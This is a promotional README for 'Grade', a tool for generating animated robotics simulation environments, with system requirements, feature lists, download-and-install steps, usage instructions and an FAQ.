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🎉 Grade - Create Realistic Environments for Robotics

🚀 Getting Started

Welcome to Grade, your go-to tool for generating animated, dynamic environments for robotics research. This application helps you create realistic settings that your robots can interact with, making it easier to test and improve their capabilities. Follow the steps below to download and run Grade on your computer.

📥 Download Grade

📂 System Requirements

To run Grade smoothly, ensure that your computer meets the following requirements:

• Operating System: Windows 10 or later, macOS 10.15 or later, or any recent Linux distribution.
• Processor: Intel i5 or equivalent.
• RAM: At least 8 GB.
• Graphics Card: A dedicated GPU with at least 2 GB of VRAM.
• Storage: Minimum 500 MB of free disk space.

🛠️ Features

• Generate dynamic environments that include various terrains.
• Create animated animal models to interact with your robots.
• Integrate human figures for realistic simulations.
• Easily customize settings to fit specific research needs.
• Supports Isaac Sim and Omniverse for enhanced simulation.

🔧 Download & Install

1. Visit the Releases page: To begin, click here to access the Releases page.

2. Select the version: Look for the latest version under “Releases.” You will see files you can download for different operating systems.

3. Download the installer: Choose the appropriate file for your operating system. For example, if you’re on Windows, select the “.exe” file.

4. Run the installer: Once the file has downloaded, double-click it to start the installation process. Follow the on-screen instructions to install Grade on your computer.

5. Launch Grade: After installation is complete, open the application from your desktop or start menu.

6. Start creating: You can now begin generating environments for your robotics projects!

📖 How to Use Grade

1. Create a New Project: After launching Grade, select “New Project” from the main menu. This will allow you to start designing your environment.

2. Choose Environment Settings: Use the settings panel to select terrain type, animation speed, and other features for your dynamic environment.

3. Add Models: You can add various models of animals and humans. Simply drag and drop from the model library into your project.

4. Save Your Work: Regularly save your progress using the “Save” option. This will help you avoid losing any data.

5. Test Your Environment: Use the simulation feature to see how your robots interact with the environment. Adjust settings as needed to refine the experience.

❓ Frequently Asked Questions

Q: What is Grade?
A: Grade is a software application designed to help researchers generate animated, dynamic environments for robotics testing and development.

Q: Do I need programming knowledge to use Grade?
A: No, Grade is designed for users of all skill levels. You can easily navigate the application without any programming experience.

Q: Can I share my projects with others?
A: Yes, you can export your projects and share them for collaborative work or presentations.

📞 Support

If you encounter any issues or have questions, please check our GitHub Issues page for help. You can also reach out via email at support@gradeapp.com.

🌍 Community

Join our growing community of researchers and enthusiasts! Share your experiences and connect with others on our GitHub Discussions page. Your input helps us improve Grade.

Thank you for choosing Grade. We hope it enhances your robotics research experience!